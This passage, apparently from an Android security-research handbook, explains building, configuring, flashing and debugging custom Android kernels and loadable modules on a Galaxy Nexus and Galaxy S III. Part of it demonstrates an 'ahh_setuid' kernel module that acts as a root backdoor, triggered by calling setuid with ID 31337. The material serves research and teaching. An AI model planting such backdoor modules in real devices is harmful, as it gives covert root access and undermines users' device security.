of scope, so refer to the documentation for those toolchains if you choose to use
them. There are only a couple steps to initializing the kernel build environment,
after which a working compiler and related tools will be available.
The fi rst step for setting up the kernel build environment based on the
AOSP prebuilt toolchain is the same as covered in Chapter 7. This example
uses the Android 4.3 version, but the steps are the same regardless of which
version is used.
dev:~/android/src $ . build/envsetup.sh
including device/samsung/maguro/vendorsetup.sh
including sdk/bash_completion/adb.bash
dev:~/android/src $ lunch full_maguro-userdebug
============================================
PLATFORM_VERSION_CODENAME=REL
PLATFORM_VERSION=4.3
TARGET_PRODUCT=full_maguro
TARGET_BUILD_VARIANT=userdebug
TARGET_BUILD_TYPE=release
TARGET_BUILD_APPS=
TARGET_ARCH=arm
TARGET_ARCH_VARIANT=armv7-a-neon
TARGET_CPU_VARIANT=cortex-a9
HOST_ARCH=x86
HOST_OS=linux
HOST_OS_EXTRA=Linux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise
HOST_BUILD_TYPE=release
BUILD_ID=JWR66Y
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OUT_DIR=out
============================================
dev:~/android/src $
At this point, you have a compiler toolchain in your path already. You can
confirm by querying the version of the compiler.
dev:~/android/src $ arm-eabi-gcc --version
arm-eabi-gcc (GCC) 4.7
Copyright (C) 2012 Free Software Foundation, Inc.
[...]
Building a kernel requires an extra step beyond the usual build environment
setup steps. Specifically, you need to set a few environment variables used by
the kernel build system. These inform the kernel about your toolchain.
dev:~/android/src $ cd kernel/omap/
dev:~/android/src/kernel/omap $ export CROSS_COMPILE=arm-eabidev:~/android/src/kernel/omap $ export SUBARCH=arm
dev:~/android/src/kernel/omap $ export ARCH=arm
dev:~/android/src/kernel/omap $
N O T E When building the kernel, take care to use the arm-eabi compiler instead
of the arm-linux-androideabi compiler. Using the incorrect embedded application binary interface (EABI) causes build failures.
After setting these variables, your environment is fully initialized, and you
are ready to move toward building your custom modules or kernel. The final
step before building kernel components is configuring the kernel.
Configuring the Kernel
The Linux kernel contains support for many architectures, hardware components,
and so on. In order to support building a single image containing everything
necessary for any particular combination of settings, the Linux kernel has an
extensive configuration subsystem. In fact, it even provides several different
user interfaces including Qt-based graphical user interface (GUI) (make xconfig), text-based menu (make menuconfig), and question and answer interfaces
(make config). The Android developer website documents the required and
recommended configuration options for the Linux kernel at http://source.
android.com/devices/tech/kernel.html.
Another option, which is the most commonly used for building Android kernels, allows specifying a configuration template called a defconfig. The templates
for this option are stored in the arch/arm/configs directory in the kernel source.
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Each Android device has a corresponding template that is used to build its kernel. The following example configures the kernel to build for the Galaxy Nexus:
dev:~/android/src/kernel/omap $ make tuna_defconfig
HOSTCC scripts/basic/fixdep
HOSTCC scripts/kconfig/conf.o
SHIPPED scripts/kconfig/zconf.tab.c
SHIPPED scripts/kconfig/lex.zconf.c
SHIPPED scripts/kconfig/zconf.hash.c
HOSTCC scripts/kconfig/zconf.tab.o
HOSTLD scripts/kconfig/conf
#
# configuration written to .config
#
In the preceding excerpt, the kernel build system first builds the dependencies for processing the configuration template. Finally, it reads the template and
writes out the .config file. All the different configuration methods ultimately
result in the creation of this file. Although you can edit this file directly, it’s
recommended that you edit the template instead.
In some rare cases, the kernel configuration in the AOSP tree does not match
the actual configuration used for a device’s live kernel. For example, the Nexus 4’s
kernel shipped with CONFIG_MODULES disabled but the AOSP mako_defconfig had
CONFIG_MODULES enabled. If the kernel was compiled with the CONFIG_IKCONFIG
option, one can extract the configuration from an uncompressed kernel using
the extract-ikconfig using the scripts directory of the Linux kernel. Further,
the configuration is often available in compressed form from /proc/config.gz
on a booted device. Unfortunately, it’s non-trivial to determine the exact kernel
configuration parameters without this configuration option.
With the build environment set up and the kernel configured, you are ready
to build your custom modules or kernel.
Using Custom Kernel Modules
Loadable kernel modules (LKMs) are a convenient way to extend the Linux
kernel without recompiling the whole thing. For one, modifying the kernel’s
code and/or data is a necessity in creating rootkits. Further, executing code in
kernel-space gives access to privileged interfaces, such as TrustZone. Using a fairly
simple LKM, this section introduces some of the facilities the kernel provides.
You don’t compile kernel modules for an Android device in the usual way.
Usually, you compile kernel modules for Linux systems using headers located
in a version specific directory under /lib/modules. The reason for this is that
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kernel modules have to be compatible with the kernel they are loaded into.
Android devices do not contain such a directory, and no such package is available for them. Thankfully, the kernel source fills this gap.
The previous sections described checking out a copy of the kernel source for
a Galaxy Nexus running Android 4.2.2, setting up the build environment, and
configuring the kernel. Using this environment, you can quickly and easily put
together a simple “Hello World” LKM. To track your changes separately, create
a new branch from the exact version of the source being used by the device:
dev:~/android/src/kernel/omap $ git checkout 9f818de -b ahh_modules
Checking out files: 100% (37662/37662), done.
Switched to a new branch 'ahh_modules'
With the branch created, extract the kernel modules included with this chapter’s accompanying materials.
dev:~/android/src/kernel/omap $ tar zxf ~/ahh/chapter10/ahh_modules.tgz
dev:~/android/src/kernel/omap $
This creates two new directories, each containing one module, in the
drivers directory in the Linux kernel source. The following is an excerpt from
the source to the “Hello World” module:
int init_module(void)
{
printk(KERN_INFO "%s: HELLO [email protected]#[email protected]#\n", __this_module.name);
/* force an error so we don't stay loaded */
return -1;
}
Similar to building on other Linux distributions, it’s not necessary to build
the entire kernel prior to compiling modules. Only a few things are needed to
get the kernel build environment ready to build modules. The following excerpt
shows the necessary commands:
dev:~/android/src/kernel/omap $ make prepare modules_prepare
scripts/kconfig/conf --silentoldconfig Kconfig
CHK
include/linux/version.h
UPD
include/linux/version.h
[...]
HOSTCC scripts/kallsyms
This command is the extent of what is strictly required. It builds the necessary scripts and header files needed for building modules.
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Using the command line from within the “Hello World” LKM’s source, compile the module. Here’s the output from the commands:
dev:~/android/src/kernel/omap $ make ARCH=arm CONFIG_AHH_HELLOWORLD=m \
M=drivers/ahh_helloworld
WARNING: Symbol version dump ~/android/src/kernel/omap/Module.symvers
is missing; modules will have no dependencies and modversions.
[...]
LD [M]
drivers/ahh_helloworld/ahh_helloworld_mod.ko
A warning was printed during the build, but the build completed successfully.
If you don’t have a need for dependencies or module versioning then there’s
nothing to fix. If you simply don’t like seeing nasty warnings or you need those
facilities, building the kernel’s modules fixes the issue:
dev:~/android/src/kernel/omap $ make modules
CHK
include/linux/version.h
CHK
include/generated/utsrelease.h
[...]
LD [M] drivers/scsi/scsi_wait_scan.ko
With the “Hello World” module compiled, you are ready to push it to the
device and insert it into the running kernel:
dev:~/android/src/kernel/omap $ adb push \
drivers/ahh_helloworld/ahh_helloworld_mod.ko /data/local/tmp
788 KB/s (32557 bytes in 0.040s)
dev:~/android/src/kernel/omap $ adb shell
[email protected]:/data/local/tmp $ su
[email protected]:/data/local/tmp # insmod ahh_helloworld_mod.ko
Push the module and open a shell using ADB. Using root privileges, insert
the module using the insmod command. The kernel starts to load the module
and executes the init_module function. Inspecting the kernel ring buffer using
the dmesg command, you see the following.
[email protected]:/data/local/tmp # dmesg | ./busybox tail -1
<6>[74062.026855] ahh_helloworld_mod: HELLO [email protected]#[email protected]#
[email protected]:/data/local/tmp #
The second included kernel module is a more advanced example kernel
module, called ahh_setuid. Using a simple instrumentation technique, this
module creates a backdoor that gives root privileges to any program that calls
the setuid system call with the desired user ID of 31337. The process for building and installing it is the same as before:
dev:~/android/src/kernel/omap $ make ARCH=arm CONFIG_AHH_SETUID=m \
M=drivers/ahh_setuid
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[...]
LD [M] drivers/ahh_setuid/ahh_setuid_mod.ko
dev:~/android/src/kernel/omap $ adb push drivers/ahh_setuid/ahh_setuid_mod.ko \
/data/local/tmp
648 KB/s (26105 bytes in 0.039s)
dev:~/android/src/kernel/omap $ adb shell
[email protected]:/data/local/tmp $ su
[email protected]:/data/local/tmp # insmod ahh_setuid_mod.ko
insmod: init_module 'ahh_setuid_mod.ko' failed (Operation not permitted)
[email protected]:/data/local/tmp # exit
[email protected]:/data/local/tmp $ id
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),...
[email protected]:/data/local/tmp $ ./setuid 31337
[email protected]:/data/local/tmp # id
uid=0(root) gid=0(root)
One thing that stands out in the preceding excerpt is the error message printed
when you run insmod. The kernel prints this error because the init_module
function returned -1. This causes the kernel to automatically unload the module, alleviating the need to unload the module before inserting it again. After
relinquishing root privileges, passing 31337 to the setuid system call yields
root again.
Even though loadable kernel modules are a convenient way to extend a running kernel, or perhaps because of this fact, some Android devices are not
compiled with loadable module support. You can determine if a running kernel
supports loadable modules by checking for the modules entry in the proc file
system or looking for the value of CONFIG_MODULES in the kernel configuration.
During the release of Android 4.3, Google disabled loadable module support
for all supported Nexus devices.
Building a Custom Kernel
Although the Linux kernel contains myriad facilities for configuring and extending its functionality at runtime, some changes simply require building a custom
kernel. For example, some configuration changes, such as enabling debugging
facilities, cause entire files or functions to be included at compile time. This chapter
has already explained obtaining source code, setting up a build environment,
and configuring the kernel. This section walks you through the remainder of
the process building the kernel source code for the AOSP-based Galaxy Nexus
and the Galaxy S III manufactured by Samsung.
AOSP-Supported Devices
Earlier in this chapter, you obtained the proper source code, set up the build
environment, and configured the kernel for your Galaxy Nexus running
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Android 4.2.2. There’s only one step in the process of building a custom kernel.
To complete the process, you compile the kernel using the default make target,
as shown here:
dev:~/android/src/kernel/omap $ make
[...]
Kernel: arch/arm/boot/zImage is ready
dev:~/android/src/kernel/omap $
When a build completes successfully, the kernel build system writes the
compiled kernel image to the zImage file in the arch/arm/boot directory. If
errors occur, they must be resolved before the build will complete successfully.
Once the build is successful, booting the newly created kernel is covered in the
“Creating a Boot Image” and “Booting a Custom Kernel” sections that follow.
N O T E The process of building a custom kernel should be identical for all AOSPsupported devices, including all devices in the Nexus family.
An OEM Device
Building a kernel for an OEM device is very similar to building one for an AOSP
device. This makes a lot of sense when remembering that OEMs make their
firmware builds from their modified version of the AOSP code. As with any
OEM device–related tasks, the specifics vary from one vendor to the next. This
section explains how to build and test a custom kernel for the Sprint version
of the Samsung Galaxy S III (SPH-L710). The goal is to produce a kernel that is
compatible with the device’s existing kernel.
The first thing you need to determine when building the kernel is which
source to use. Exactly how you accomplish this varies from one device to the
next. If you are lucky, the kernel version string references a commit hash from
one of the AOSP Git repositories. This is especially true for older devices, which
used kernels built and supplied by Google. The Motorola Droid that’s used in
one of the “Case Studies” sub-sections later in this chapter is one such device.
Check the device’s kernel version using this command:
[email protected]:/ $ cat /proc/version
Linux version 3.0.31-1130792 ([email protected]) (gcc version 4.6.xgoogle 20120106 (prerelease) (GCC) ) #2 SMP PREEMPT Mon Apr 15 19:05:47
KST 2013
Unfortunately, the Galaxy S III does not include a commit hash in its version
string. As such, you need to take an alternative approach.
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Another approach involves obtaining the OEM-provided version of the kernel
source tree. Start by inspecting the build fingerprint for the device:
[email protected]:/ $ getprop ro.build.fingerprint
samsung/d2spr/d2spr:4.1.2/JZO54K/L710VPBMD4:user/release-keys
The Compatibility Definition Document (CDD) explains that this system
property is composed of the following fields. The following text was slightly
modified for formatting.
$(BRAND)/$(PRODUCT)/$(DEVICE):$(RELEASE)/$(ID)/$(INCREMENTAL):$(TYPE)/
$(TAGS)
The specific fields of interest are in the second grouping. They are the RELEASE,
ID, and INCREMENTAL values.
The first field you need to pay attention to is the INCREMENTAL field. Many
vendors, including Samsung, use the INCREMENTAL field as their own custom
version number. From the output you know Samsung identifies this firmware
as version L710VPBMD4.
Armed with the device model number (SPH-L710 according to ro.product.
model) for this device and Samsung’s version identifier, you are able to search
Samsung’s open source portal. When you search for the model number, you see
a download with the version MD4 in the results. Download the corresponding
archive and extract the Kernel.tar.gz and README_Kernel.txt files:
dev:~/sph-l710 $ unzip SPH-L710_NA_JB_Opensource.zip Kernel.tar.gz \
README_Kernel.txt
Archive: SPH-L710_NA_JB_Opensource.zip
inflating: Kernel.tar.gz
inflating: README_Kernel.txt
dev:~/sph-l710 $ mkdir kernel
dev:~/sph-l710 $ tar zxf Kernel.tar.gz -C kernel
[...]
With the relevant files extracted, the next step is to read the README_Kernel.
txt file. This file contains instructions, including which toolchain and build
configuration to use. The README_Kernel.txt file included in the archive says
to use the arm-eabi-4.4.3 toolchain along with the m2_spr_defconfig build
configuration. Something is fishy, though. The kernel version string that the
toolchain used to build the running kernel identified itself as “gcc version
4.6.x-google 20120106 (prerelease).” The kernel version string is more authoritative than README_Kernel.txt so keep this in mind.
The next step in the process is to set up the build environment. The README_
Kernel.txt file suggests that using the toolchain from AOSP should work. To
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be safe and avoid potential pitfalls, try to match the build environment of the
device as much as possible. Here is where the RELEASE and ID fields from the
build fingerprint become relevant. From the output, these are set to 4.1.2 and
JZO54K for the target device. To find out exactly which tag to use, consult the
“Codenames, Tags, and Build Numbers” page in the Android documentation at
http://source.android.com/source/build-numbers.html. Looking up JZO54K,
you see that it corresponds to the android-4.1.2_r1 tag. Using this, initialize
the AOSP repository accordingly as follows:
dev:~/sph-l710 $ mkdir aosp && cd $_
dev:~/sph-l710/aosp $ repo init -u \
https://android.googlesource.com/a/platform/manifest -b android-4.1.2_r1
dev:~/sph-l710/aosp $ repo sync
[...]
After checking out the correct AOSP revision, you are almost ready to start
building the kernel. But first, you need to finish re-initializing the kernel build
environment, as shown here:
dev:~/sph-l710/aosp $ . build/envsetup.sh
[...]
dev:~/sph-l710/aosp $ lunch full-user
============================================
PLATFORM_VERSION_CODENAME=REL
PLATFORM_VERSION=4.1.2
TARGET_PRODUCT=full
TARGET_BUILD_VARIANT=user
TARGET_BUILD_TYPE=release
TARGET_BUILD_APPS=
TARGET_ARCH=arm
TARGET_ARCH_VARIANT=armv7-a
HOST_ARCH=x86
HOST_OS=linux
HOST_OS_EXTRA=Linux-3.2.0-54-generic-x86_64-with-Ubuntu-12.04-precise
HOST_BUILD_TYPE=release
BUILD_ID=JZO54K
OUT_DIR=out
============================================
dev:~/sph-l710/aosp $ export ARCH=arm
dev:~/sph-l710/aosp $ export SUBARCH=arm
dev:~/sph-l710/aosp $ export CROSS_COMPILE=arm-eabi-
This brings the AOSP prebuilt toolchain into your environment. Unlike your
Galaxy Nexus kernel build, you use the full-user build configuration. Also,
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you set the CROSS_COMPILE environment variable instead of editing the Makefile
(as the README_Kernel.txt instructs). Query the compiler’s version:
dev:~/sph-l710/aosp $ arm-eabi-gcc --version
arm-eabi-gcc (GCC) 4.6.x-google 20120106 (prerelease)
[...]
Excellent! This exactly matches the compiler version from the running kernel’s version string! Using this toolchain should theoretically generate a nearly
identical kernel. It should, at the very least, be compatible.
Using further information from the README_Kernel.txt file, proceed to configure and build the kernel:
dev:~/sph-l710/aosp $ cd ~/sph-l710/kernel
dev:~/sph-l710/kernel $ make m2_spr_defconfig
[...]
#
# configuration written to .config
#
dev:~/sph-l710/kernel $ make
[...]
Kernel: arch/arm/boot/zImage is ready
If everything goes according to plan, the kernel builds successfully and the
compressed image is available as arch/arm/boot/zImage. In information security, things rarely go according to plan. While building this kernel, you might
run into one particular issue. Specifically, you might be met with the following
error message.
LZO
arch/arm/boot/compressed/piggy.lzo
/bin/sh: 1: lzop: not found
make[2]: *** [arch/arm/boot/compressed/piggy.lzo] Error 1
make[1]: *** [arch/arm/boot/compressed/vmlinux] Error 2
make: *** [zImage] Error 2
This occurs when the build system is missing the lzop command. Samsung
compresses its kernel with the LZO algorithm, which prefers speed over minimal
storage space usage. After installing this dependency, rerun the make command
and the build should complete successfully.
Creating a Boot Image
Recall that Android devices typically have two different modes where they
boot a Linux kernel. The first mode is the normal boot process, which uses the
boot partition. The second mode is during the recovery process, which uses
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the recovery partition. The underlying file structure for both of these partitions is identical. They both contain a short header, a compressed kernel, and
an initial ramdisk (initrd) image. Usually the same kernel is used for both, but
not always. In order to replace the kernel used in these modes, it is necessary to
re-create the partition image to include your new kernel. This section focuses
on the boot.img.
Creating a boot image with your freshly built custom kernel is easiest when
basing it off an existing boot image. The first step is obtaining such an image.
Although using a boot image from a stock firmware image usually works, using
the image directly from the device is safer. Because a device’s kernel might
have been updated by an OTA update or otherwise, using an image obtained
directly from the device is sure to start with something that is working. To
obtain the image from the device, follow the steps outlined in the “Extracting
from Devices” section earlier in this chapter.
The next step is to extract the obtained boot image. Follow the steps outlined
in the “Getting the Kernel from a Boot Image” section. This leaves you with the
bootimg.cfg, zImage, and initrd.img files.
N O T E Although the unpacking and repacking process is usually done on the
machine used for running ADB, it could just as well be performed entirely on a rooted
device.
Similar to how you extract a kernel, you use the abootimg tool to create the
boot image. For this purpose, abootimg supports two use cases: updating and
creating. Updating is useful when the original boot image need not be saved
and is accomplished as follows.
dev:~/android/src/kernel/omap/staging $ abootimg -u cur-boot.img \
-k ../arch/arm/boot/zImage
reading kernel from ../arch/arm/boot/zImage
Writing Boot Image cur-boot.img
This excerpt shows how you can use abootimg’s convenient -u option to update
the boot image, replacing the kernel with your own. Alternatively, you can use
the --create option to assemble a boot image from a kernel, initrd, and an
optional secondary stage. In cases where the kernel or initrd have grown, the
abootimg command produces an error message like the following:
dev:~/android/src/kernel/omap/staging $ abootimg --create new-boot.img -f \
bootimg.cfg -k bigger-zImage -r initrd.img
reading config file bootimg.cfg
reading kernel from bigger-zImage
reading ramdisk from initrd.img
new-boot.img: updated is too big for the Boot Image (4534272 vs 4505600 bytes)
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To overcome this error, simply pass the -c option (as shown in the following
excerpt) or update the bootsize parameter within the bootimg.cfg used by
abootimg.
dev:~/android/src/kernel/omap/staging $ abootimg --create new-boot.img -f \
bootimg.cfg -k bigger-zImage -r initrd.img -c "bootsize=4534272"
reading config file bootimg.cfg
reading kernel from bigger-zImage
reading ramdisk from initrd.img
Writing Boot Image new-boot.img
For the Samsung Galaxy S III, the process is nearly identical. As was done for
with the Nexus device, obtain the existing boot image from the device or a factory
image. This time, download the KIES_HOME_L710VPBMD4_L710SPRBMD4_1130792_
REV03_user_low_ship.tar.md5 factory image by searching the SamFirmware
website for the device’s model number. This should be the same image you used
to upgrade your device. Extract the firmware image and boot image inside as
shown in the following excerpt:
dev:~/sgs3-md4 $ mkdir stock
dev:~/sgs3-md4 $ tar xf KIES*MD4*.tar.md5 -C stock
dev:~/sgs3-md4 $ mkdir boot && cd $_
dev:~/sgs3-md4/boot $ abootimg -x ../stock/boot.img
writing boot image config in bootimg.cfg
extracting kernel in zImage
extracting ramdisk in initrd.img
With the stock boot.img extracted, you have everything you need to build a
custom boot image. Use abootimg to do:
dev:~/sgs3-md4/boot $ mkdir ../staging
dev:~/sgs3-md4/boot $ abootimg --create ../staging/boot.img -f bootimg.cfg \
-k ~/sph-l710/kernel/arch/arm/boot/zImage -r initrd.img
reading config file bootimg.cfg
reading kernel from /home/dev/sph-l710/kernel/arch/arm/boot/zImage
reading ramdisk from initrd.img
Writing Boot Image ../staging/boot.img
Booting a Custom Kernel
After a successful build, the kernel build system writes the kernel image to arch/
arm/boot/zImage. You can boot this newly built kernel on a device in several
ways. As with many other things on Android, which methods apply depend
on the particular device. This section covers four methods: two that use the
fastboot protocol, one that uses an OEM proprietary download protocol, and
one that is done on the device itself.
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Using Fastboot
Booting this newly built kernel using fastboot, for example on an AOSPsupported device, can be accomplished one of two ways. You can either boot
the boot.img straight away or write it to the boot partition for the device. The
first method is ideal because recovering from failure is as easy as rebooting
the device. However, this method may not be supported by all devices. The
second method is more persistent and is preferred when the device may need
to be rebooted many times. Unfortunately, both methods require unlocking the
device’s boot loader. In either case, you must reboot the device into fastboot
mode, as shown here:
dev:~/android/src/kernel/omap/staging $ adb reboot bootloader
After this command is executed, the reference device reboots into the boot
loader and enables fastboot mode by default. In this mode, the device displays
an opened Bugdroid and the text “FASTBOOT MODE” on the screen.
W A R N I N G Unlocking the boot loader often void’s a device’s warranty. Take
extreme care to do everything correctly because a misstep could render your device
permanently unusable.
The first method, which uses the boot command from the fastboot utility,
allows directly booting the newly created boot.img. This method is nearly
identical to how you booted a custom recovery in Chapter 3. The only difference is that you’re booting a boot.img instead of a recovery.img. Here are the
relevant commands:
dev:~/android/src/kernel/omap/staging $ fastboot boot new-boot.img
[.. device boots ..]
dev:~/android/src/kernel/omap/staging $ adb wait-for-device shell cat \
/proc/version
Linux version 3.0.31-g9f818de-dirty ([email protected]) (gcc version 4.7 (GCC) )...
After rebooting to the boot loader and using fastboot boot to boot the boot.
img, you shell in and confirm that the modified kernel is running.
The second, more permanent method uses fastboot flash to write the
newly created boot.img to the device’s boot partition. Here are the commands
to carry out this method:
dev:0:~/android/src/kernel/omap/staging $ fastboot flash boot new-boot.img
boot new-boot.img
sending 'boot' (4428 KB)...
OKAY [ 1.679s]
writing 'boot'...
OKAY [ 1.121s]
finished. total time: 2.800s
dev:0:~/android/src/kernel/omap/staging $ fastboot reboot
rebooting...
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finished. total time: 0.006s
dev:0:~/android/src/kernel/omap/staging $ adb wait-for-device shell
[email protected]:/ $ cat /proc/version
Linux version 3.0.31-g9f818de-dirty ([email protected]) (gcc version 4.7 (GCC) )...
After executing the fastboot flash boot command, you reboot the device
and shell in to confirm that the modified kernel is running.
Using OEM Flashing Tools
The process for flashing the boot partition of an OEM device varies from one
device to the next. Unfortunately, this is not always possible. For example, some
OEM devices have a locked boot loader that cannot be unlocked. Other devices
might prevent flashing an unsigned boot.img at all. This section explains how
to flash the custom-built kernel for the Samsung Galaxy S III.
N O T E Using a rooted device, it may be possible to work around signing issues with
kexec. The kexec program boots a Linux kernel from an already-booted system.
Detailed use of kexec is outside the scope of this chapter.
Though the Sprint Samsung Galaxy S III cryptographically validates the boot.
img, it does not prevent you from flashing or booting an unsigned copy. Rather,
it only increases an internal counter that tracks how many times a custom image
was flashed. This counter is displayed onscreen when the device is booted into
download mode, as you’ll see later in this section. Samsung uses this counter
to track whether a device’s warranty was voided due to the use of unofficial
code. Knowing that flashing an unsigned boot.img will not brick your device,
you are ready to actually put it on the device and boot it.
N O T E Chainfire, who focuses on Samsung, created a tool called TriangleAway
that is able to reset the flash counter of most devices. This is only one of many of his
tools, including the venerable SuperSU. Chainfire’s projects can be found at http://
chainfire.eu/
As with many OEM devices, the Samsung Galaxy S III does not support
fastboot. However, it does support a comparable proprietary download mode.
This example uses this mode, along with the corresponding proprietary flashing
tool, to write the newly created boot.img.
The official tool for flashing various parts of Samsung devices is the Odin utility. In fact, Odin is reportedly the utility that Samsung employees use internally.
The general process is much like that of a Nexus device. First put the device
into download mode, as shown here:
dev:~/sgs3-md4/boot $ cd ../staging
dev:~/sgs3-md4/staging $ adb reboot bootloader
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The device is now ready to accept the image, but there’s one problem: Odin
doesn’t take a raw boot image as input. Instead, as with the stock firmware
image, it uses a format called .tar.md5. The specific details of how this file is
generated are important for getting Odin to accept the boot.img. You must add
the MD5 to the image, which serves as an integrity-checking mechanism (MD5)
and allows packaging multiple partition images into one file. You package the
freshly built boot image (including your custom kernel) as so:
dev:~/sgs3-md4/staging $ tar -H ustar -c boot.img > boot.tar
dev:~/sgs3-md4/staging $ ( cat boot.tar; md5sum -t boot.tar ) > boot.tar.md5
Now you have everything you need prepared, but you still have one problem
to deal with. Odin is only available for Windows; it can’t be run on the Ubuntu
development machine being used for this example. An open source program
called Heimdall aims to solve this issue, but it doesn’t work with the SPH-L710.
Unfortunately, you need to copy the boot.tar.md5 file to a Windows machine and
run Odin with Administrator privileges. When Odin appears, check the checkbox next to the PDA button and then click it. Navigate to where your boot.tar.
md5 file is on the file system and open it. Boot the device into download mode by
holding the Volume Down and Home buttons while pressing the power button or
using the adb reboot bootloader command. After the warning appears, press
the Volume Up button to continue. The download mode screen appears showing
some status including your “Custom Binary Download” count. After that, plug
the device into the Windows computer. At this point Odin looks like Figure 10-3.
Figure 10-3: Odin ready to flash boot
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Now click the Start button to flash the boot partition. If the Auto Reboot option
is selected, the device reboots automatically after flashing completes. Once the
reboot completes, you can safely reconnect the device to your development
machine and confirm success as shown:
[email protected]:/ $ cat /proc/version
Linux version 3.0.31 ([email protected]) (gcc version 4.6.x-google 20120106
...
Writing the Partition Directly
Besides using fastboot or OEM flash tools, you can write the custom boot image
directly to the boot partition. The main advantage to this approach is that you
can use it without rebooting the device. For example, Chainfire’s MobileOdin
app uses this method to flash parts of the device entirely without the use of
another computer. Overall, this approach is faster and easier because it requires
fewer steps and mostly avoids the need for extra tools.
However, this approach has additional requirements and potential problem
areas that you must consider. First of all, this approach is only possible on a
rooted device. Without root access, you simply will not be able to write to the
block device for the boot partition. Secondly, you must consider whether there
are any boot-level restrictions that would prevent this method from succeeding.
If the boot loader prevents booting unsigned boot images, you could end up
bricking the device. Further, you must accurately determine which block device
to use. This is sometimes difficult and has potentially dire consequences if you
are incorrect. If you write to the wrong partition, you might brick the device to
the point of being unrecoverable.
In the case of the two case study devices though, the boot loader does not
need to be unlocked and signature enforcement does not prevent this method.
Though the Samsung Galaxy S III will detect a signature failure and increment
the custom flash counter, it doesn’t prevent booting the unsigned boot image.
The Galaxy Nexus simply doesn’t verify the signature at all. Exactly how you
do this on each device varies, as shown in the following excerpts.
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On the Galaxy Nexus:
dev:~/android/src/kernel/omap/staging $ adb push new-boot.img /data/local/tmp
2316 KB/s (4526080 bytes in 1.907s)
dev:~/android/src/kernel/omap/staging $ adb shell
[email protected]:/data/local/tmp $ exec su
[email protected]:/data/local/tmp # dd if=boot.img \
of=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot
8800+0 records in
8800+0 records out
4505600 bytes transferred in 1.521 secs (2962261 bytes/sec)
[email protected]:/data/local/tmp # exit
dev:~/android/src/kernel/omap/staging $ adb reboot
dev:~/android/src/kernel/omap/staging $ adb wait-for-device shell cat \
/proc/version
Linux version 3.0.31-g9f818de-dirty ([email protected]) (gcc version 4.7 (GCC) )...
On the Samsung Galaxy S III:
N O T E When using this method, it’s not necessary to append the MD5 to the boot
image as is necessary when using Odin.
dev:~/sgs3-md4 $ adb push boot.img /data/local/tmp
2196 KB/s (5935360 bytes in 2.638s)
dev:~/sgs3-md4 $ adb shell
[email protected]:/data/local/tmp $ exec su
[email protected]:/data/local/tmp # dd if=boot.img \
of=/dev/block/platform/msm_sdcc.1/by-name/boot
11592+1 records in
11592+1 records out
5935360 bytes transferred in 1.531 secs (3876786 bytes/sec)
[email protected]:/data/local/tmp # exit
dev:~/sgs3-md4 $ adb reboot
dev:~/sgs3-md4 $ adb wait-for-device shell cat /proc/version
Linux version 3.0.31 ([email protected]) (gcc version 4.6.x-google 20120106
...
In each case, copy the image back to the device using ADB and then write it
directly to the block for the boot partition device using dd. After the command
completes, reboot the device and shell in to confirm that the custom kernel is
being used.
Debugging the Kernel
Making sense of kernel bugs requires peering deep into the internals of the
operating system. Triggering kernel bugs can result in a variety of undesired
behaviors, including panics, hangs, and memory corruption. In most cases, triggering bugs leads to a kernel panic and thus a reboot. In order to understand
the root cause issues, debugging facilities are extremely useful.
Luckily, the Linux kernel used by Android contains a multitude of facilities
designed and implemented just for this purpose. You can debug crashes after
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they occur in several ways. Which methods are available depends on the particular device you’re using for testing. When developing exploits, tracing or live
debugging helps a developer understand subtle complexities. This section covers
these debugging facilities and provides detailed examples of using some of them.
Obtaining Kernel Crash Reports
A vast majority of Android devices simply reboot whenever an error occurs
in kernel-space. This includes not only memory access errors but also kernel
mode assertions (BUG) or other error conditions. This behavior is very disruptive when conducting security research. Fortunately, there are several ways to
deal with this and obtain useful crash information.
Prior to rebooting, the Linux kernel sends crash-related information to the
kernel log. Accessing this log is typically accomplished by executing the dmesg
command from a shell. In addition to the dmesg command, it’s possible to continuously monitor the kernel log using the kmsg entry in the proc file system.
The full path to this entry is /proc/kmsg.
It might not be possible to access these facilities without root access. On most
devices, access to /proc/kmsg is limited to the root user or users in the system
group. Older devices only allow access from the root user. Additionally, the
dmesg command can be restricted to the root user by using the dmesg_restrict
parameter discussed in Chapter 12.
In addition to the live kernel log, Android offers another facility for obtaining
crash information after the device successfully reboots. On devices that support
this facility (those with CONFIG_ANDROID_RAM_CONSOLE enabled), the kernel log
prior to the reboot is available from the last_kmsg entry in the proc file system.
The full path to this entry is /proc/last_kmsg. Unlike dmesg and /proc/kmsg,
accessing this entry usually does not require root access. This is advantageous
when attempting to exploit a previously unknown kernel bug to gain initial
root access to a device.
You can find other relevant directories by inspecting an Android device. One
such directory is the /data/dontpanic directory. The init.rc script on many
devices contains commands to copy the contents of several proc file system
entries to such directories. The following excerpt from the init.rc of a Motorola
Droid 3 running Verizon’s Android 2.3.4 build is an example:
[email protected]_solana:/# grep -n 'copy.*dontpanic' /init*
/init.mapphone_cdma.rc:136:
copy /proc/last_kmsg /data/dontpanic/last_kmsg
/init.mapphone_cdma.rc:141:
copy /data/dontpanic/apanic_console
/data/logger/last_apanic_console
[...]
/init.rc:127:
copy /proc/apanic_console /data/dontpanic/apanic_console
/init.rc:131:
copy /proc/apanic_threads /data/dontpanic/apanic_threads
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Here, the last_kmsg, apanic_console, and apanic_threads proc entries are
copied. The latter two entries do not exist on most Android devices; so they offer
no help when debugging. Besides /data/dontpanic, another directory, /data/
logger, is also used. Inspecting the init.rc files on a different device might
reveal other directories. However, this method is less likely to be fruitful than
accessing /proc/kmsg and /proc/last_kmsg directly.
The final method prevents the device from rebooting when the kernel encounters an error. The Linux kernel contains a pair of runtime configuration parameters that control what happens when problems occur. First, the /proc/sys/
kernel/panic entry controls how many seconds to wait before rebooting after
a panic occurs. Android devices typically set this to 1 or 5 seconds. Setting it
to zero, as shown below, prevents rebooting.
WARNING
Use caution when changing the default panic behavior. Although not
rebooting may seem like the most attractive method, continuing after errors occur in
the kernel can lead to data loss or worse.
[email protected]:/ $ cat /proc/sys/kernel/panic
5
[email protected]:/ $ su -c 'echo 0 > /proc/sys/kernel/panic'
[email protected]:/ $ cat /proc/sys/kernel/panic
0
Another entry, /proc/sys/kernel/panic_on_oops, controls whether or not
an Oops (discussed in the next section) triggers a panic at all. It is enabled by
default, but you can disable it easily, as shown here:
[email protected]:/ $ cat /proc/sys/kernel/panic_on_oops
1
[email protected]:/ $ su -c 'echo 0 > /proc/sys/kernel/panic_on_oops'
[email protected]:/ $ cat /proc/sys/kernel/panic_on_oops
0
